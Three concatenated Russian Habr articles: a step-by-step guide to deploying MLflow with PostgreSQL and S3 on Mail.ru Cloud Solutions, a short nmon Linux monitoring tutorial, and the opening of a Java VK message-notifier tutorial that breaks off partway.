Важно, что мы сделаем это максимально близко к продакшен-варианту. Большинство инструкций, которые есть в интернете, предлагают развернуть MLflow на локальной машине или из докер-образа. Эти варианты подойдут для ознакомления и быстрых экспериментов, но не для продакшена. Мы же будем использовать надежные облачные сервисы.
> Если вы предпочитаете видеоинструкцию, то можете посмотреть вебинар «[MLflow в облаке. Простой и быстрый способ вывести ML модели в продакшен](https://www.youtube.com/watch?v=rfEE4Yc4gXg)».
MLflow: назначение и основные компоненты
----------------------------------------
MLflow — это Open Source-платформа, предназначенная для управления жизненным циклом моделей машинного обучения. В том числе она решает задачи воспроизведения экспериментов, публикации моделей и включает в себя центральный реестр моделей.
В отличие от Kubeflow, MLflow может работать без Kubernetes. Но при этом MLflow умеет упаковывать модели в Docker-образы, чтобы потом их можно было развернуть в Kubernetes.
MLflow состоит из нескольких компонентов.
**MLflow Tracking**. Это удобный UI, в котором можно просматривать артефакты: графики, примеры данных, датасеты. Также можно смотреть метрики и параметры моделей. У MLflow Tracking есть API для разных языков программирования, с помощью которого можно логировать метрики, параметры и артефакты. Поддерживаются Python, Java, R, REST.
В MLflow Tracking есть две важных концепции: runs и experiments.
* Run — это единичная итерация эксперимента. Например, вы задали параметры модели и запускаете ее на обучение. На этот единичный запуск появится новая запись в MLflow Tracking. При изменении параметров модели будет создан новый run.
* Experiment позволяет сгруппировать несколько запусков (Run) в одну сущность, чтобы их можно было удобно просматривать.
Развернуть MLflow Tracking можно в различных сценариях. Мы будем использовать самый близкий к продакшену вариант — сценарий №4 (так он называется [в официальной документации MLflow](https://mlflow.org/docs/latest/tracking.html#scenario-4-mlflow-with-remote-tracking-server-backend-and-artifact-stores)).
В этом варианте есть хост, на котором разворачиваются JupyterHub. Он взаимодействует с Tracking Server, размещенным на отдельной виртуальной машине в облаке. Для хранения метаданных об экспериментах используется PostgreSQL, который мы развернем как сервис в облаке. А все артефакты и модели хранятся отдельно в объектном хранилище S3.
**MLflow Models**. Этот компонент отвечает за упаковку, хранение и публикацию моделей. Он представляет собой концепцию flavor. Это своего рода обертка, которая позволяет использовать модель в различных инструментах и фреймворках без необходимости дополнительных интеграций. Например, можно использовать модели из Scikit-learn, Keras, TenserFlow, Spark MLlib и других фреймворков.
Также MLflow Models позволяет делать модели доступными по REST API и упаковывать их в Docker-образ для последующего использования в Kubernetes.
**MLflow Registry**. Этот компонент представляет собой центральный репозиторий моделей. Он включает в себя UI, который позволяет добавлять теги и описание для каждой модели. Также он позволяет сравнивать разные модели между собой, например, чтобы увидеть отличия в параметрах.
MLflow Registry управляет жизненным циклом модели. В контексте MLflow есть три стадии жизненного цикла: Staging, Production и Archived. Также есть поддержка версионности. Все это позволяет удобно управлять всей выкаткой моделей.
**MLflow Projects**. Это способ организации и описания кода. Каждый проект — директория с набором файлов, чаще всего это пайплайны. Каждый проект описывается отдельным файлом MLProject в формате yaml. В нем указываются имя проекта, окружение и entrypoints. Это позволяет воспроизводить эксперимент в другом окружении. Также есть CLI и API для Python.
При помощи MLflow Projects можно создавать модули, которые представляют собой некие переиспользуемые шаги. Затем эти модули можно встраивать в более сложные пайплайны, что позволяет стандартизировать их.
Инструкция по установке и настройке MLflow
------------------------------------------
### Шаг 1: разворачиваем сервисы в облаке, которые выполняют роль бэкенда
Для начала мы создадим виртуальную машину, на которой развернем MLflow Tracking Server. Мы будем делать это на нашей облачной платформе Mail.ru Cloud Solutions (новые пользователи тут получают 3000 бонусных ₽ на тестирование, так что вы можете зарегистрироваться и повторить всё, что тут описано).
> Перед началом работы нужно настроить сеть, сгенерировать и загрузить SSH-ключ для подключения к виртуальной машине. Вы можете самостоятельно настроить сеть [по инструкции](https://mcs.mail.ru/help/ru_RU/networks/create-net#section-0).
Заходим в панель MCS, раздел «[Облачные вычисления — Виртуальные машины](https://mcs.mail.ru/app/services/infra/servers/)», и нажимаем кнопку «Добавить». Далее задаем параметры новой виртуальной машины. Для примера мы возьмем конфигурацию с 4 CPU и 8 ГБ RAM. Выберем ОС — Ubuntu 18.04.
Следующий шаг — настройка сети. Так как мы уже заранее создали сеть, здесь ее нужно просто выбрать. Обратите внимание, что в настройках Firewall указано кастомное правило — only\_my\_ip. Этого правила нет по умолчанию, мы его создали самостоятельно, чтобы к виртуальной машине можно было подключаться только с определенного адреса. Мы рекомендуем вам сделать также, чтобы повысить безопасность. [Вот инструкция](https://mcs.mail.ru/help/ru_RU/firewall/fw-rules), как создавать свои правила.
Также нужно назначить внешний IP, чтобы к машине можно было подключаться из интернета.
На следующем шаге задаем резервное копирование. Можно оставить настройки по умолчанию, если они вас устраивают.
Создаем инстанс и ждем несколько минут. Когда виртуальная машина будет готова, нужно будет записать ее внутренний и внешние адреса, они пригодятся далее.
Далее создадим базу данных. Заходим в раздел «[Базы данных](https://mcs.mail.ru/app/services/databases/)» и нажимаем кнопку «Добавить». Выбираем PostgreSQL 12 в конфигурации Master-slave.
На следующем шаге задаем параметры виртуальной машины. Для примера мы взяли конфигурацию с 1 CPU и 2 ГБ RAM. Внешний IP можно не назначать, потому что к этой машине мы будем обращаться только из внутренней сети. Важно выбрать ту же самую сеть, которую мы выбирали для виртуальной машины с Tracking Server.
На следующем шаге нужно сгенерировать имя БД, пользователя и пароль. Хорошей практикой является создавать для каждого сервиса отдельную БД и отдельного пользователя.
После создания БД также нужно записать внутренний адрес. Он понадобится для настройки соединения c MLflow.
Далее нужно создать в объектном хранилище новый бакет. Переходим в раздел «[Объектное хранилище — Бакеты](https://mcs.mail.ru/app/services/storage/buckets/)» и создаем новый бакет. При создании указываем имя и тип — Hotbox.
Создадим внутри бакета директорию. Для этого заходим в него и нажимаем «Создать папку». По умолчанию в инструкции MLflow используется название папки artifacts, поэтому мы будем использовать такое же название.
Далее необходимо создать отдельный аккаунт для доступа к этому бакету. В разделе «Объектное хранилище» заходим в подраздел «[Аккаунты](https://mcs.mail.ru/app/services/storage/accounts/)» и нажимаем «Добавить аккаунт».
Мы будем использовать имя аккаунта — mlflow\_webinar. После создания запишите Access Key ID и Secret Key. Особенно важен Secret Key, потому что его больше нельзя будет увидеть, и в случае потери придется пересоздавать.
Все, мы подготовили инфраструктуру для бэкенда.
Все сервисы находятся в одной виртуальной сети. Поэтому для взаимодействия между ними мы будем везде использовать внутренние адреса. Если вы хотите обращаться по внешним адресам, вам нужно правильно настроить Firewall.
### Шаг 2: устанавливаем и настраиваем MLflow Tracking Server на выделенной VM
Подключаемся по SSH на виртуальную машину, которую мы создали в самом начале. [Вот инструкция](https://mcs.mail.ru/help/ru_RU/vm-connect/vm-connect-nix), как это сделать.
Сначала установим [conda](https://conda.io/), это пакетный менеджер для Python, R и других языков.
```
curl -O https://repo.anaconda.com/archive/Anaconda3-2020.11-Linux-x86_64.sh
bash Anaconda3-2020.11-Linux-x86_64.sh
exec bash
```
Далее создадим и активируем отдельное окружение для MLflow.
```
conda create -n mlflow_env
conda activate mlflow_env
```
Устанавливаем необходимые библиотеки:
```
conda install python
pip install mlflow
pip install boto3
sudo apt install gcc
pip install psycopg2-binary
```
Далее нужно создать переменные окружения для доступа к S3. Открываем файл на редактирование:
```
sudo nano /etc/environment
```
И задаем в нем переменные. Вместо REPLACE\_WITH\_INTERNAL\_IP\_MLFLOW\_VM вам нужно подставить адрес вашей виртуальной машины:
```
MLFLOW_S3_ENDPOINT_URL=https://hb.bizmrg.com
MLFLOW_TRACKING_URI=http://REPLACE_WITH_INTERNAL_IP_MLFLOW_VM:8000
```
MLflow взаимодействует с S3 при помощи библиотеки boto3, которая по умолчанию ищет credentials в папке ~/.aws. Поэтому нам нужно создать файл:
```
mkdir ~/.aws
nano ~/.aws/credentials
```
В этот файл запишем credentials для доступа к S3, которые мы получили после создания бакета:
```
[default]
aws_access_key_id = REPLACE_WITH_YOUR_KEY
aws_secret_access_key = REPLACE_WITH_YOUR_SECRET_KEY
```
В завершение применяем настройки окружения:
```
conda activate mlflow_env
```
Теперь можно запускать Tracking Server. Подставьте в команду свои параметры подключения к PostgreSQL и S3:
```
mlflow server --backend-store-uri postgresql://pg_user:pg_password@REPLACE_WITH_INTERNAL_IP_POSTGRESQL/db_name --default-artifact-root s3://REPLACE_WITH_YOUR_BUCKET/REPLACE_WITH_YOUR_DIRECTORY/ -h 0.0.0.0 -p 8000
```
MLflow запущен:
Теперь откроем графический интерфейс и проверим, что все работает как надо. Для этого нужно зайти на внешний IP-адрес виртуальной машины с MLflow Tracking Server, порт 8000. В нашем случае это будет [37.139.41.57](https://37.139.41.57):8000
*MLflow запущен*
Но сейчас в нашей схеме есть небольшая проблема. Сервер работает до тех пор, пока запущен терминал. Если закрыть терминал, MLflow остановится. Также он не перезапустится автоматически, если мы перезагрузим сервер. Чтобы это исправить, мы будем запускать MLflow сервер в виде systemd-сервиса.
Итак, создадим две директории для хранения логов и ошибок:
```
mkdir ~/mlflow_logs/
mkdir ~/mlflow_errors/
```
Затем создадим service-файл:
```
sudo nano /etc/systemd/system/mlflow-tracking.service
```
Далее добавляем в него код. Не забудьте подставить свои параметры подключения к БД и S3, как вы это делали при запуске сервера вручную:
```
[Unit]
Description=MLflow Tracking Server
After=network.target
[Service]
Environment=MLFLOW_S3_ENDPOINT_URL=https://hb.bizmrg.com
Restart=on-failure
RestartSec=30
StandardOutput=file:/home/ubuntu/mlflow_logs/stdout.log
StandardError=file:/home/ubuntu/mlflow_errors/stderr.log
User=ubuntu
ExecStart=/bin/bash -c 'PATH=/home/ubuntu/anaconda3/envs/mlflow_env/bin/:$PATH exec mlflow server --backend-store-uri postgresql://PG_USER:PG_PASSWORD@REPLACE_WITH_INTERNAL_IP_POSTGRESQL/DB_NAME --default-artifact-root s3://REPLACE_WITH_YOUR_BUCKET/REPLACE_WITH_YOUR_DIRECTORY/ -h 0.0.0.0 -p 8000'
[Install]
WantedBy=multi-user.target
```
Теперь запускаем сервис, активируем автозагрузку при старте системы и проверяем, что сервис работает:
```
sudo systemctl daemon-reload
sudo systemctl enable mlflow-tracking
sudo systemctl start mlflow-tracking
sudo systemctl status mlflow-tracking
```
Видим, что сервис запустился:
Кроме того, мы можем проверить логи, там тоже все хорошо:
```
head -n 95 ~/mlflow_logs/stdout.log
```
Снова открываем веб-интерфейс и видим, что MLflow сервер работает. Все, MLflow Tracking Server установлен и готов к работе.
### Шаг 3: разворачиваем JupyterHub в облаке и настраиваем его для работы с MLflow
Мы будем разворачивать JupyterHub на отдельной виртуальной машине, чтобы потом этот хост можно было предоставить командам дата-инженеров или дата-саентистов. Так они смогут работать с JupyterHub, но не смогут повлиять на работу сервера MLflow. Мы воспользуемся нашим сервисом «Машинное обучение в облаке», который позволяет быстро получить готовое к работе окружение с установленным JupyterHub, conda и другими полезными инструментами.
В панели MCS заходим в раздел «[Машинное обучение](https://mcs.mail.ru/app/services/machinelearning/)» и создаем среду для обучения.
Выбираем параметры виртуальной машины. Мы возьмем 4 CPU и 8 ГБ RAM.
На следующем шаге настраиваем сеть. Проверьте, что сеть выбрана та же самая, чтобы эта машина могла общаться с остальными серверами по внутренней сети. Выберите опцию «Назначить внешний IP», чтобы позже мы смогли подключиться к этой машине из интернета.
На последнем шаге нужно настроить резервное копирование. Можете оставить опции по умолчанию.
После того, как виртуальная машина создастся, необходимо записать ее внешний IP-адрес: он нам пригодится позже.
Теперь подключаемся к этой машине по SSH и активируем установленный JupyterHub. Мы будем пользоваться утилитой tmux, чтобы можно было отключаться от экрана и запускать другие команды.
```
tmux
jupyter-notebook --ip '*'
```
Использование tmux — не продуктовое решение. Сейчас мы так сделаем в рамках тестового проекта, а для продуктовых решений рекомендуем использовать systemd, как мы это делали для запуска MLflow Tracking Server.
После активации JupyterHub в консоли будет URL, по которому нужно зайти и залогиниться в JupyterHub. В эту строку необходимо подставить внешний IP-адрес виртуальной машины.
Переходим по этому адресу и видим интерфейс JupyterHub:
Теперь нам нужно оставить сервер работать, но при этом выполнять другие команды. Поэтому мы отключимся от этого инстанса терминала и оставим его работать в фоновом режиме. Для этого нужно нажать комбинацию клавиш ctrl + b d.
Непосредственная загрузка артефактов в artefact storage будет выполняться именно с этого хоста. Поэтому нам нужно настроить взаимодействие JupyterHub как с MLflow, так и с S3. Сначала зададим несколько переменных окружения. Откроем файл /etc/environment:
```
sudo nano /etc/environment
```
И запишем в него адрес Tracking Server и Endpoint для S3:
```
MLFLOW_TRACKING_URI=http://REPLACE_WITH_INTERNAL_IP_MLFLOW_VM:8000
MLFLOW_S3_ENDPOINT_URL=https://hb.bizmrg.com
```
Также нам нужно снова создать credentials для доступа к S3. Создадим файл и директорию:
```
mkdir .aws
nano ~/.aws/credentials
```
Запишем туда Access Key и Secret Key:
```
[default]
aws_access_key_id = REPLACE_WITH_YOUR_KEY
aws_secret_access_key = REPLACE_WITH_YOUR_SECRET_KEY
```
Теперь установим MLflow, чтобы использовать его клиентскую часть. Для этого создадим отдельное окружение и отдельный kernel:
```
conda create -n mlflow_env
conda activate mlflow_env
conda install python
pip install mlflow
pip install matplotlib
pip install sklearn
pip install boto3
conda install -c anaconda ipykernel
python -m ipykernel install --user --name ex --display-name "Python (mlflow)"
```
### Шаг 4: логируем параметры и метрики экспериментов
Теперь будем непосредственно работать с кодом. Снова заходим в веб-интерфейс JupyterHub, запускаем терминал и клонируем репозиторий:
```
git clone https://github.com/stockblog/webinar_mlflow/ webinar_mlflow
```
Далее открываем файл [mlflow\_demo.ipynb](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb) и последовательно запускаем ячейки.
В [ячейке №3](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb?short_path=73460e8#L32) мы будем тестировать ручное логирование параметров и метрик. В ячейке явно указаны параметры, которые хотим залогировать. Запускаем ячейку и после того, как она отработает, переходим в интерфейс MLflow. Тут видим, что создался новый эксперимент — Manual\_logging.
Заходим в детали этого эксперимента и видим параметры и метрики, которые мы указывали при логировании:
В этом же окне ниже находятся артефакты, которые связаны непосредственно с моделью, например, график:
Теперь попробуем логировать все параметры автоматически. В [следующей ячейке](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb?short_path=73460e8#L148) мы используем ту же самую модель, но уже включаем автологирование. За это отвечает строка:
```
mlflow.sklearn.autolog(log_input_examples=True)
```
Нужно указать flavor, который будем использовать, в нашем случае это sklearn. Также в параметрах функции autolog мы указали log\_input\_examples=True. При этом будут автоматически логироваться примеры входных данных для модели: какие колонки, что они означают и как примерно выглядят входные данные. Эта информация будет находиться в артефактах. Это может пригодиться, когда команда работает над несколькими экспериментами одновременно. Потому что не всегда можно держать в уме каждую модель и все примеры данных для нее.
В этой ячейке мы убрали все строки, связанные с ручным логированием метрик и параметров. Но логирование артефактов остается в ручном режиме.
Запускаем ячейку, после ее выполнения создается новый эксперимент. Переходим в интерфейс MLflow, заходим в эксперимент Auto\_logging и видим, что теперь появилось гораздо больше параметров и метрик, чем при ручном сборе:
Теперь, если мы будем менять в ячейке параметры и заново ее запускать, то в экспериментах в MLflow будут появляться строки с новыми запусками. Вот, например, мы сделали три запуска с разными параметрами:
Также в артефактах можно найти пример, как использовать данную конкретную модель. Там есть путь модели в S3 и примеры для разных фреймворков.
### Шаг 5: тестируем способы публикации ML-моделей
Итак, мы провели эксперименты, а теперь будем публиковать модель. Мы рассмотрим два способа, как это сделать.
**Способ публикации №1: обратиться к S3-хранилищу напрямую.** Копируем адрес модели в S3-хранилище и публикуем ее при помощи mlflow serve:
```
mlflow models serve -m s3://BUCKET/FOLDER/EXPERIMENT_NUMBER/INTERNAL_MLFLOW_ID/artifacts/model -h 0.0.0.0 -p 8001
```
В этой команде мы указываем хост и порт, на котором модель будет доступна. Мы используем адрес 0.0.0.0, это означает текущий хост. В терминале нет ошибок — значит, модель опубликовалась:
Теперь протестируем ее. В новом окне терминала подключаемся по SSH на этот же сервер и пробуем достучаться до модели при помощи curl. Если вы используете этот же датасет, то можете полностью скопировать команду без изменений:
```
curl -X POST -H "Content-Type:application/json; format=pandas-split" --data '{"columns":["age", "sex", "bmi", "bp", "s1", "s2", "s3", "s4", "s5", "s6"], "data":[[0.0453409833354632, 0.0506801187398187, 0.0606183944448076, 0.0310533436263482, 0.0287020030602135, 0.0473467013092799, 0.0544457590642881, 0.0712099797536354, 0.133598980013008, 0.135611830689079]]}' http://0.0.0.0:8001/invocations
```
После выполнения команды видим результат:
Также к модели можно обратиться из интерфейса JupyterHub. Для этого запустите [соответствующую ячейку](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb?short_path=73460e8#L275), но перед этим поменяйте IP-адрес на свой.
**Способ публикации №2: зарегистрировать модель в MLflow.** Также мы можем зарегистрировать модель в MLflow, и тогда она будет доступна через UI-интерфейс. Для этого снова переходим в результаты эксперимента, в разделе Artifacts нажимаем кнопку Register Model и в появившемся окне задаем ей имя.
Теперь в верхнем меню перейдем на вкладку Models. И видим, что в списке моделей у нас появилась новая модель:
Зайдем в нее. В этом интерфейсе можно перевести модель на разные stage, посмотреть входные параметры и результаты. Также можно дать описание модели, которое будет полезно, если над ней работают несколько человек. Мы переведем нашу модель в Staging.
Практически все действия мы делаем через интерфейс, но точно также можно работать через API и CLI. Все эти действия можно автоматизировать: регистрацию моделей, перевод на другой stage, выкатку моделей и все остальное.
Теперь для публикации модели мы также воспользуемся командой serve, но вместо длинного пути в S3 укажем просто название модели:
```
mlflow models serve -m "models:/YOUR_MODEL_NAME/STAGE"
```
Обратите внимание, что в этот раз мы не указывали порт и модель по умолчанию опубликовалась на порту 5000:
Теперь при помощи curl пробуем достучаться до модели еще раз:
```
curl -X POST -H "Content-Type:application/json; format=pandas-split" --data '{"columns":["age", "sex", "bmi", "bp", "s1", "s2", "s3", "s4", "s5", "s6"], "data":[[0.0453409833354632, 0.0506801187398187, 0.0606183944448076, 0.0310533436263482, 0.0287020030602135, 0.0473467013092799, 0.0544457590642881, 0.0712099797536354, 0.133598980013008, 0.135611830689079]]}' http://0.0.0.0:5000/invocations
```
Результат тот же:
Но если попробовать обратиться к модели с другого сервера, то у нас ничего не получится. Потому что сейчас модель доступна только в рамках того хоста, где она опубликована. Чтобы это исправить, опубликуем модель с параметром -h:
```
mlflow models serve -m "models:/YOUR_MODEL_NAME/STAGE" -h 0.0.0.0
```
Проверим доступ к модели с помощью [той же самой ячейки](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb?short_path=73460e8#L275) в JupyterHub, но изменим порт на 5000. Модель возвращает результат. Он немного отличается от результата выше, потому что в ходе вебинара мы меняли некоторые параметры.
Также к модели можно обращаться с помощью Python. Пример можно найти [в другой ячейке](https://github.com/stockblog/webinar_mlflow/blob/main/mlflow_demo.ipynb?short_path=73460e8#L287).
Но в обоих вариантах публикации модели есть особенность. Модель доступна до тех пор, пока запущен терминал с командой serve. Когда мы закроем терминал или перезапустим сервер, доступ к модели пропадет. Чтобы этого избежать, мы будем публиковать модель при помощи сервиса systemd, как мы это делали для запуска MLflow Tracking Server.
Создадим новый service-файл:
```
sudo nano /etc/systemd/system/mlflow-model.service
```
И вставим в него эти команды, предварительно заменив переменные на свои.
```
[Unit]
Description=MLFlow Model Serving
After=network.target
[Service]
Restart=on-failure
RestartSec=30
StandardOutput=file:/home/ubuntu/mlflow_logs/stdout.log
StandardError=file:/home/ubuntu/mlflow_errors/stderr.log
Environment=MLFLOW_TRACKING_URI=http://REPLACE_WITH_INTERNAL_IP_MLFLOW_VM:8000
Environment=MLFLOW_CONDA_HOME=/home/ubuntu/anaconda3/
Environment=MLFLOW_S3_ENDPOINT_URL=https://hb.bizmrg.com
ExecStart=/bin/bash -c 'PATH=/home/ubuntu/anaconda3/envs/REPLACE_WITH_MLFLOW_ENV_OF_MODEL/bin/:$PATH exec mlflow models serve -m "models:/YOUR_MODEL_NAME/STAGE" -h 0.0.0.0 -p 8001'
[Install]
WantedBy=multi-user.target
```
Тут есть одна новая переменная, которую мы раньше не использовали: REPLACE\_WITH\_MLFLOW\_ENV\_OF\_MODEL. Это индивидуальное окружение MLflow, которое автоматически создается для каждой модели. Чтобы узнать, в каком окружении запускается ваша модель, посмотрите результат команды serve, когда вы запускали модель. Там есть этот идентификатор:
Теперь запустим и активируем этот сервис, чтобы модель публиковалась при каждом запуске хоста:
```
sudo systemctl daemon-reload
sudo systemctl enable mlflow-model
sudo systemctl start mlflow-model
```
Проверяем статус:
```
sudo systemctl status mlflow-model
```
Видим, что при запуске появилась ошибка:
На ее примере разберем, как можно находить и устранять ошибки. Чтобы понять, что вообще произошло, проверим логи. Они лежат в папке, которую мы создавали специально для логов.
```
head -n 95 ~/mlflow_logs/stdout.log
```
В нашем примере в самом конце лога видно, что MLflow не может найти библиотеку boto3, которая необходима для доступа к S3:
Есть два варианта варианта, как решить проблему:
1. Установить библиотеку руками в окружение MLflow. Но это костыльный способ, мы не будем его рассматривать.
2. Прописать библиотеку в зависимостях в yaml-файле. Этот способ мы и рассмотрим.
Нужно найти папку в бакете, в которой хранится эта модель. Для этого возвращаемся в интерфейс MLflow и в результатах эксперимента переходим в раздел с артефактами. Запоминаем путь:
В интерфейсе MCS переходим в бакет по этому пути и скачиваем файл conda.yaml.
В раздел с зависимостями добавляем библиотеку boto3 и заливаем файл обратно.
Снова попробуем запустить systemd-сервис:
```
sudo systemctl start mlflow-model
```
Теперь все хорошо, модель запустилась. Можно снова попробовать достучаться до нее разными способами, как мы делали это раньше. Обратите внимание, что в качестве порта следует снова указывать 8001.
Теперь соберем докер-образ с этой моделью, чтобы ее можно было легко перенести в другое окружение. Для этого на хосте должен быть установлен докер. Мы не будем рассматривать процесс его установки, а просто дадим ссылку [на официальную инструкцию](https://docs.docker.com/get-docker/).
Выполним команду:
```
mlflow models build-docker -m "models:/YOUR_MODEL_NAME/STAGE" -n "DOCKER_IMAGE_NAME"
```
В параметре -n мы указываем желаемое имя для докер-образа. Результат:
Протестируем. Запускаем контейнер, теперь модель будет доступна на порту 5001:
```
docker run -p 5001:8080 YOUR_MODEL_NAME
```
Теперь модель должна быть сразу доступна и активна. Проверим:
```
curl -X POST -H "Content-Type:application/json; format=pandas-split" --data '{"columns":["age", "sex", "bmi", "bp", "s1", "s2", "s3", "s4", "s5", "s6"], "data":[[0.0453409833354632, 0.0506801187398187, 0.0606183944448076, 0.0310533436263482, 0.0287020030602135, 0.0473467013092799, 0.0544457590642881, 0.0712099797536354, 0.133598980013008, 0.135611830689079]]}' http://127.0.0.1:5001/invocations
```
Также можно проверить доступность из JupyterHub. При этом в терминале, где мы запускали докер-образ, видим, что запросы приходят с двух разных хостов, локального и JupyterHub:
Все, докер-образ собран, протестирован и готов к работе.
Чему мы научились
-----------------
Итак, мы познакомились с MLflow и научились разворачивать его в облаке. Большинство инструкций в сети ограничиваются установкой MLflow на локальной машине. Это хорошо подходит для ознакомления и быстрых экспериментов, но точно не продакшен-вариант.
Все это возможно благодаря тому, что облачные платформы предоставляют множество готовых сервисов, которые помогают упростить и ускорить развертывание.
> Если захотите сами пройти то, что описано в этой статье, подключитесь к платформе Mail.ru Cloud Solutions, новые пользователи получают там 3000 бесплатных ₽. Этого более чем достаточно, чтобы развернуть MLflow по этой статье. | https://habr.com/ru/post/565022/ | null | ru | null |
# Простой, надёжный и удобный мониторинг серверов на Linux
Если вы администрируете сервера на Linux, наверняка, вы находитесь в состоянии постоянного поиска простых, надежных и удобных инструментов для решения самых разных задач. Одна из них — наблюдение за состоянием машин. И, хотя инструментов для мониторинга предостаточно, найти то, что войдёт в повседневный набор программ, обычно не так уж и просто. Именно поэтому сегодня я хочу рассказать об одной из таких находок, об утилите, которой пользуюсь каждый день.
[](https://habrahabr.ru/company/ruvds/blog/324194/)
Программа, о которой пойдёт речь, называется [Nigel’s Monitor](http://nmon.sourceforge.net/pmwiki.php), или просто nmon. Она, используя простой интерфейс ncurses, умеет выводить, в реальном времени, сведения о различных показателях, характеризующих состояние сервера. Среди них — данные по процессору и памяти, информация о сетевых ресурсах, о дисковых накопителях, о файловой системе и NFS, о процессах. Набор отображаемых показателей можно настраивать. Nmon имеет текстовый интерфейс, поэтому, для работы с ним достаточно подключиться к серверу по SSH.
Предлагаю установить nmon и поговорить о том, как им пользоваться.
Установка
---------
Утилиту nmon можно установить из стандартных репозиториев дистрибутивов серверных ОС. То есть, вы вряд ли столкнётесь с какими-то сложностями. Если ваша система использует `apt` (это — Debian, Ubuntu, и другие), надо выполнить в терминале такие команды:
```
sudo apt-get update
sudo apt-get install nmon
```
Для дистрибутивов, использующих `dnf` (среди них — Red Hat, Fedora, CentOS), установка будет выглядеть так:
```
dnf install epel-release
dnf install nmon
```
Как видите, всё просто. Переходим к работе с nmon.
Работа с nmon
-------------
Итак, nmon установлен, теперь можно его запустить, выполнив команду `nmon`. В окне утилиты, показанном на рисунке ниже, надо указать, какие именно сведения вас интересуют, включая и отключая соответствующие информационные разделы.
*Главное окно nmon содержит подсказки по включению и отключению различных разделов сведений о системе*
Скажем, вас интересуют дисковые накопители. Если нажать клавишу `d` на клавиатуре, nmon выведет данные обо всех подключённых к серверу дисках.
*Средство мониторинга nmon выводит данные о дисках*
Далее, добавим информационные разделы со сведениями о сети и памяти, нажав клавиши `n` и `m`. В итоге, набор данные о системе будет дополнен интересующими нас показателями.
*Добавление в окно мониторинга сведений о сетевой подсистеме и памяти*
Выключить отображение тех или иных разделов можно с помощью тех же клавиш, которые использовались для их вывода на экран. Кроме того, nmon поддерживает возможность менять скорость обновления данных. Делается это с помощью клавиш «`-`» и «`+`» на клавиатуре. Первая, соответственно, уменьшает скорость обновления показателей, вторая — увеличивает.
Для того, чтобы выйти из nmon, нажмите клавишу `q`, это возвратит вас к обычному приглашению bash.
Сбор данных с помощью nmon
--------------------------
Инструмент включает в себя возможность захвата данных и сохранения их в файл. Это может оказаться очень кстати, если нужно проанализировать данные о состоянии системы на некоем отрезке времени.
Предположим, требуется 30 «снимков» состояния системы, делать которые надо каждые 60 секунд. Организовать подобное можно, воспользовавшись такой командой:
```
nmon -f -s 60 -c 30
```
Здесь ключ `-f` указывает на то, что данные надо писать в файл, ключ `-s` задаёт промежутки времени, в секундах, между «снимками», а ключ `-c` говорит программе о том, что нам надо 30 наборов показателей.
Через полчаса после выполнения вышеописанной команды в текущей рабочей директории окажется интересующий нас файл с расширением `.nmon`.
Проанализировать этот файл можно, например, с помощью утилиты [nmonchart](http://nmon.sourceforge.net/pmwiki.php?n=Site.Nmonchart), которая создаст из него веб-страницу, содержащую симпатичные графики.
*Анализ данных, собранных nmon, с помощью nmonchart*
Планирование сбора данных
-------------------------
Если необходимо организовать регулярный сбор данных о показателях работы сервера, например, для выявления периодически возникающих неполадок, можно воспользоваться заданиями cron. Делается это так. Сначала создадим bash-скрипт, скажем, с именем `nmon.sh`, с таким вот содержимым:
```
#! /bin/sh
nmon -f -s 60 -c 30
```
Файл надо сохранить и дать ему разрешение на исполнение с помощью команды `chmod u+x nmon.sh`. Теперь откроем файл `crontab` для редактирования командой `crontab -e` и введём следующее:
```
30 11 * * * ~/nmon.sh
```
После сохранения изменений, задание cron будет выполняться ежедневно, в 11:30 утра. Вы, конечно, подставите сюда то время, которое вам нужно, получив в своё распоряжение удобный инструмент для выявления причин неполадок серверов.
Итоги: действительно просто и по-настоящему полезно
---------------------------------------------------
Уверен, вам нелегко будет найти более простое и удобное решение для мониторинга Linux-серверов, подходящее для наблюдения за системами в реальном времени и для сбора данных, которые планируется проанализировать позже.
Пожалуй, nmon — это, так сказать, мастхэв для каждого системного администратора.
Уважаемые читатели! А какими утилитами для администрирования Linux вы пользуетесь постоянно и можете порекомендовать их другим? | https://habr.com/ru/post/324194/ | null | ru | null |
# VK notifer на java
Однажды мне довелось работать над проектом, заказчик которого поддерживал обратную связь исключительно с помощью социальной сети Вконтакте. Так как я — не особо активный пользователь данной социальной сети, то возникла проблема в плане скорости получения посланных мне сообщений. Так случилось, что я потянул поясницу и пару дней провел на койке. Так как делать лежа, причем с больной спиной, особо нечего, то я решил махом убить несколько проблем:
* Скрасить время своей реабилитации
* Решить проблему с доставкой сообщений
* Попробовать себя в написании программ на java
Итоги получившейся java терапии под катом.
Хочется начать с того, что на java я никогда не программировал, поэтому я не претендую на гениальность своего приложения.
Поохав, устроившись поудобнее и пододвинув зарядку поближе, я начал свое первое приложение на этом чудесном языке.
Первое, что я решил сделать, это соорудить «каркас» для моего notifer'а. Все что мне было необходимо — это простое меню в трее, которое бы выдавало всплывающие сообщения.
```
//Создадим раскрывающееся меню
PopupMenu popup = new PopupMenu();
//Создадим элемент меню
MenuItem exitItem = new MenuItem("Выход");
//Добавим для него обработчик
exitItem.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
//Добавим пункт в меню
popup.add(exitItem);
SystemTray systemTray = SystemTray.getSystemTray();
Image image = Toolkit.getDefaultToolkit().getImage("vk_icon.png");
TrayIcon trayIcon = new TrayIcon(image,"VKNotifer",popup);
trayIcon.setImageAutoSize(true);
//добавим иконку в трей
systemTray.add(trayIcon);
//тестовое сообщение
trayIcon.displayMessage("VKNotifer", "Текст",TrayIcon.MessageType.INFO);
```
Теперь главная задача — это получать список текущих сообщений. Для этой цели я воспользовался предоставленным api Вконтакте. С основной информацией по api можно ознакомиться [здесь](http://vk.com/developers.php#devstep1).
Первое что нужно сделать для того, чтобы иметь возможность использовать api, это [создать приложение Вконтакте](http://vk.com/editapp?act=create), после чего вы получите id своего приложения необходимый для получения token'а.
Второе действие для доступа к api — это получение самого token'а. Для этого необходимо в вашем приложении пройти следующие этапы:
1. Авторизация
2. Подтверждение запрашиваемых требований
3. Непосредственно получение token'а
После этого, благодаря полученному token'у, вы сможете выполнять методы api. Процесс авторизации описан [здесь](http://vk.com/developers.php?id=-1_37230422&s=1)
